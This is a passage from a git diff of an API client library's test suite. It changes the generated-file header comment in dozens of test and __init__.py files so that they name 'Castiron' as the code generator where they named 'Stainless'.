+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_users.py b/tests/api_resources/admin/organization/test_users.py
index 308b199bc6..d89311d149 100644
--- a/tests/api_resources/admin/organization/test_users.py
+++ b/tests/api_resources/admin/organization/test_users.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/users/__init__.py b/tests/api_resources/admin/organization/users/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/organization/users/__init__.py
+++ b/tests/api_resources/admin/organization/users/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/users/test_roles.py b/tests/api_resources/admin/organization/users/test_roles.py
index 81247b2416..7b2e067720 100644
--- a/tests/api_resources/admin/organization/users/test_roles.py
+++ b/tests/api_resources/admin/organization/users/test_roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/audio/__init__.py b/tests/api_resources/audio/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/audio/__init__.py
+++ b/tests/api_resources/audio/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/audio/test_speech.py b/tests/api_resources/audio/test_speech.py
index 93ede5193d..9ad6d28316 100644
--- a/tests/api_resources/audio/test_speech.py
+++ b/tests/api_resources/audio/test_speech.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/audio/test_transcriptions.py b/tests/api_resources/audio/test_transcriptions.py
index 5d846fbfc0..c1fec352b3 100644
--- a/tests/api_resources/audio/test_transcriptions.py
+++ b/tests/api_resources/audio/test_transcriptions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/audio/test_translations.py b/tests/api_resources/audio/test_translations.py
index d6848d1278..84e31906ce 100644
--- a/tests/api_resources/audio/test_translations.py
+++ b/tests/api_resources/audio/test_translations.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/__init__.py b/tests/api_resources/beta/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/beta/__init__.py
+++ b/tests/api_resources/beta/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/chatkit/__init__.py b/tests/api_resources/beta/chatkit/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/beta/chatkit/__init__.py
+++ b/tests/api_resources/beta/chatkit/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/chatkit/test_sessions.py b/tests/api_resources/beta/chatkit/test_sessions.py
index c94e4c92ae..752ea91f2a 100644
--- a/tests/api_resources/beta/chatkit/test_sessions.py
+++ b/tests/api_resources/beta/chatkit/test_sessions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/chatkit/test_threads.py b/tests/api_resources/beta/chatkit/test_threads.py
index 6395b72b2f..f295cd368a 100644
--- a/tests/api_resources/beta/chatkit/test_threads.py
+++ b/tests/api_resources/beta/chatkit/test_threads.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/responses/__init__.py b/tests/api_resources/beta/responses/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/beta/responses/__init__.py
+++ b/tests/api_resources/beta/responses/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/responses/test_input_items.py b/tests/api_resources/beta/responses/test_input_items.py
index ff13ce610a..eb028337a4 100644
--- a/tests/api_resources/beta/responses/test_input_items.py
+++ b/tests/api_resources/beta/responses/test_input_items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/responses/test_input_tokens.py b/tests/api_resources/beta/responses/test_input_tokens.py
index 5140cb4d43..6140cc2cf2 100644
--- a/tests/api_resources/beta/responses/test_input_tokens.py
+++ b/tests/api_resources/beta/responses/test_input_tokens.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/test_assistants.py b/tests/api_resources/beta/test_assistants.py
index 91ff13dded..e280ab8f70 100644
--- a/tests/api_resources/beta/test_assistants.py
+++ b/tests/api_resources/beta/test_assistants.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/test_responses.py b/tests/api_resources/beta/test_responses.py
index a01ad5675a..1426ae508b 100644
--- a/tests/api_resources/beta/test_responses.py
+++ b/tests/api_resources/beta/test_responses.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/test_threads.py b/tests/api_resources/beta/test_threads.py
index 12f87b69ff..f471c8de73 100644
--- a/tests/api_resources/beta/test_threads.py
+++ b/tests/api_resources/beta/test_threads.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/threads/__init__.py b/tests/api_resources/beta/threads/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/beta/threads/__init__.py
+++ b/tests/api_resources/beta/threads/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/threads/runs/__init__.py b/tests/api_resources/beta/threads/runs/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/beta/threads/runs/__init__.py
+++ b/tests/api_resources/beta/threads/runs/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/threads/runs/test_steps.py b/tests/api_resources/beta/threads/runs/test_steps.py
index ba44eec63d..8095417753 100644
--- a/tests/api_resources/beta/threads/runs/test_steps.py
+++ b/tests/api_resources/beta/threads/runs/test_steps.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/threads/test_messages.py b/tests/api_resources/beta/threads/test_messages.py
index 7f57002f27..4f7804f3f8 100644
--- a/tests/api_resources/beta/threads/test_messages.py
+++ b/tests/api_resources/beta/threads/test_messages.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/beta/threads/test_runs.py b/tests/api_resources/beta/threads/test_runs.py
index 904c9f79b3..8ee7f7812d 100644
--- a/tests/api_resources/beta/threads/test_runs.py
+++ b/tests/api_resources/beta/threads/test_runs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/chat/__init__.py b/tests/api_resources/chat/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/chat/__init__.py
+++ b/tests/api_resources/chat/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/chat/completions/__init__.py b/tests/api_resources/chat/completions/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/chat/completions/__init__.py
+++ b/tests/api_resources/chat/completions/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/chat/completions/test_messages.py b/tests/api_resources/chat/completions/test_messages.py
index 4a4267e539..c1d13cda1f 100644
--- a/tests/api_resources/chat/completions/test_messages.py
+++ b/tests/api_resources/chat/completions/test_messages.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/chat/test_completions.py b/tests/api_resources/chat/test_completions.py
index 6bcf04a74e..b0b957ec4f 100644
--- a/tests/api_resources/chat/test_completions.py
+++ b/tests/api_resources/chat/test_completions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/containers/__init__.py b/tests/api_resources/containers/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/containers/__init__.py
+++ b/tests/api_resources/containers/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/containers/files/__init__.py b/tests/api_resources/containers/files/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/containers/files/__init__.py
+++ b/tests/api_resources/containers/files/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/containers/files/test_content.py b/tests/api_resources/containers/files/test_content.py
index 67fcdca36c..aa282e8c04 100644
--- a/tests/api_resources/containers/files/test_content.py
+++ b/tests/api_resources/containers/files/test_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/containers/test_files.py b/tests/api_resources/containers/test_files.py
index 9d47785894..be06a940d4 100644
--- a/tests/api_resources/containers/test_files.py
+++ b/tests/api_resources/containers/test_files.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/conversations/__init__.py b/tests/api_resources/conversations/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/conversations/__init__.py
+++ b/tests/api_resources/conversations/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/conversations/test_items.py b/tests/api_resources/conversations/test_items.py
index aca9568410..aa48e0aaa0 100644
--- a/tests/api_resources/conversations/test_items.py
+++ b/tests/api_resources/conversations/test_items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/evals/__init__.py b/tests/api_resources/evals/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/evals/__init__.py
+++ b/tests/api_resources/evals/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/evals/runs/__init__.py b/tests/api_resources/evals/runs/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/evals/runs/__init__.py
+++ b/tests/api_resources/evals/runs/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/evals/runs/test_output_items.py b/tests/api_resources/evals/runs/test_output_items.py
index 673867ac42..154fcb9e43 100644
--- a/tests/api_resources/evals/runs/test_output_items.py
+++ b/tests/api_resources/evals/runs/test_output_items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/evals/test_runs.py b/tests/api_resources/evals/test_runs.py
index 1367cb4bab..816e47fa61 100644
--- a/tests/api_resources/evals/test_runs.py
+++ b/tests/api_resources/evals/test_runs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/fine_tuning/__init__.py b/tests/api_resources/fine_tuning/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/fine_tuning/__init__.py
+++ b/tests/api_resources/fine_tuning/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/fine_tuning/alpha/__init__.py b/tests/api_resources/fine_tuning/alpha/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/fine_tuning/alpha/__init__.py
+++ b/tests/api_resources/fine_tuning/alpha/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/fine_tuning/alpha/test_graders.py b/tests/api_resources/fine_tuning/alpha/test_graders.py
index 4a237114b6..8c9ec73a4d 100644
--- a/tests/api_resources/fine_tuning/alpha/test_graders.py
+++ b/tests/api_resources/fine_tuning/alpha/test_graders.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/fine_tuning/checkpoints/__init__.py b/tests/api_resources/fine_tuning/checkpoints/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/fine_tuning/checkpoints/__init__.py
+++ b/tests/api_resources/fine_tuning/checkpoints/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/fine_tuning/checkpoints/test_permissions.py b/tests/api_resources/fine_tuning/checkpoints/test_permissions.py
index a3118fc838..0b6f39bb14 100644
--- a/tests/api_resources/fine_tuning/checkpoints/test_permissions.py
+++ b/tests/api_resources/fine_tuning/checkpoints/test_permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/fine_tuning/jobs/__init__.py b/tests/api_resources/fine_tuning/jobs/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/fine_tuning/jobs/__init__.py
+++ b/tests/api_resources/fine_tuning/jobs/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/fine_tuning/jobs/test_checkpoints.py b/tests/api_resources/fine_tuning/jobs/test_checkpoints.py
index bb11529263..64bfa9e731 100644
--- a/tests/api_resources/fine_tuning/jobs/test_checkpoints.py
+++ b/tests/api_resources/fine_tuning/jobs/test_checkpoints.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/fine_tuning/test_jobs.py b/tests/api_resources/fine_tuning/test_jobs.py
index 8a35255885..2168e3dc94 100644
--- a/tests/api_resources/fine_tuning/test_jobs.py
+++ b/tests/api_resources/fine_tuning/test_jobs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/realtime/__init__.py b/tests/api_resources/realtime/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/realtime/__init__.py
+++ b/tests/api_resources/realtime/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/realtime/test_calls.py b/tests/api_resources/realtime/test_calls.py
index e8675a818f..1b70d02f9c 100644
--- a/tests/api_resources/realtime/test_calls.py
+++ b/tests/api_resources/realtime/test_calls.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/realtime/test_client_secrets.py b/tests/api_resources/realtime/test_client_secrets.py
index 15f3043d54..93037e8421 100644
--- a/tests/api_resources/realtime/test_client_secrets.py
+++ b/tests/api_resources/realtime/test_client_secrets.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/responses/__init__.py b/tests/api_resources/responses/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/responses/__init__.py
+++ b/tests/api_resources/responses/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/responses/test_input_items.py b/tests/api_resources/responses/test_input_items.py
index ed6fddf33a..432bdb52ea 100644
--- a/tests/api_resources/responses/test_input_items.py
+++ b/tests/api_resources/responses/test_input_items.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/responses/test_input_tokens.py b/tests/api_resources/responses/test_input_tokens.py
index b7d15c1e67..fa32e01fd1 100644
--- a/tests/api_resources/responses/test_input_tokens.py
+++ b/tests/api_resources/responses/test_input_tokens.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/skills/__init__.py b/tests/api_resources/skills/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/skills/__init__.py
+++ b/tests/api_resources/skills/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/skills/test_content.py b/tests/api_resources/skills/test_content.py
index f93e6fc015..91cefe204d 100644
--- a/tests/api_resources/skills/test_content.py
+++ b/tests/api_resources/skills/test_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/skills/test_versions.py b/tests/api_resources/skills/test_versions.py
index 40c807354a..354c7d25c2 100644
--- a/tests/api_resources/skills/test_versions.py
+++ b/tests/api_resources/skills/test_versions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/skills/versions/__init__.py b/tests/api_resources/skills/versions/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/skills/versions/__init__.py
+++ b/tests/api_resources/skills/versions/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/skills/versions/test_content.py b/tests/api_resources/skills/versions/test_content.py
index 3d3e19519e..8f98effade 100644
--- a/tests/api_resources/skills/versions/test_content.py
+++ b/tests/api_resources/skills/versions/test_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_batches.py b/tests/api_resources/test_batches.py
index 95b94c4846..74a2365f20 100644
--- a/tests/api_resources/test_batches.py
+++ b/tests/api_resources/test_batches.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_completions.py b/tests/api_resources/test_completions.py
index d0081aaca2..f8cfb685e9 100644
--- a/tests/api_resources/test_completions.py
+++ b/tests/api_resources/test_completions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_containers.py b/tests/api_resources/test_containers.py
index 321d7778b0..2d7786fdfa 100644
--- a/tests/api_resources/test_containers.py
+++ b/tests/api_resources/test_containers.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_content_provenance_checks.py b/tests/api_resources/test_content_provenance_checks.py
index f24995b051..9168f91849 100644
--- a/tests/api_resources/test_content_provenance_checks.py
+++ b/tests/api_resources/test_content_provenance_checks.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_conversations.py b/tests/api_resources/test_conversations.py
index a451d339e8..9cc9c44042 100644
--- a/tests/api_resources/test_conversations.py
+++ b/tests/api_resources/test_conversations.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_embeddings.py b/tests/api_resources/test_embeddings.py
index ce6e213d59..ffe1b02767 100644
--- a/tests/api_resources/test_embeddings.py
+++ b/tests/api_resources/test_embeddings.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_evals.py b/tests/api_resources/test_evals.py
index 473a4711ca..80fd2a7f6c 100644
--- a/tests/api_resources/test_evals.py
+++ b/tests/api_resources/test_evals.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_files.py b/tests/api_resources/test_files.py
index 940ac97022..d8eec954f0 100644
--- a/tests/api_resources/test_files.py
+++ b/tests/api_resources/test_files.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_images.py b/tests/api_resources/test_images.py
index fa8054c01d..09ef8ffec1 100644
--- a/tests/api_resources/test_images.py
+++ b/tests/api_resources/test_images.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_models.py b/tests/api_resources/test_models.py
index cf70871ade..a61676ecb0 100644
--- a/tests/api_resources/test_models.py
+++ b/tests/api_resources/test_models.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_moderations.py b/tests/api_resources/test_moderations.py
index 8487d4a7a6..3a4431dca6 100644
--- a/tests/api_resources/test_moderations.py
+++ b/tests/api_resources/test_moderations.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_realtime.py b/tests/api_resources/test_realtime.py
index 2b0c7f7d8d..90222b77e9 100644
--- a/tests/api_resources/test_realtime.py
+++ b/tests/api_resources/test_realtime.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index 9e6f651ba9..2e97ca9416 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_skills.py b/tests/api_resources/test_skills.py
index 6708fb3cbf..8b5f99ea73 100644
--- a/tests/api_resources/test_skills.py
+++ b/tests/api_resources/test_skills.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_uploads.py b/tests/api_resources/test_uploads.py
index 0e438a3c61..3829231e2c 100644
--- a/tests/api_resources/test_uploads.py
+++ b/tests/api_resources/test_uploads.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_vector_stores.py b/tests/api_resources/test_vector_stores.py
index cce9c52cea..1e0186eac4 100644
--- a/tests/api_resources/test_vector_stores.py
+++ b/tests/api_resources/test_vector_stores.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_videos.py b/tests/api_resources/test_videos.py
index d6b51f9674..8e147c6572 100644
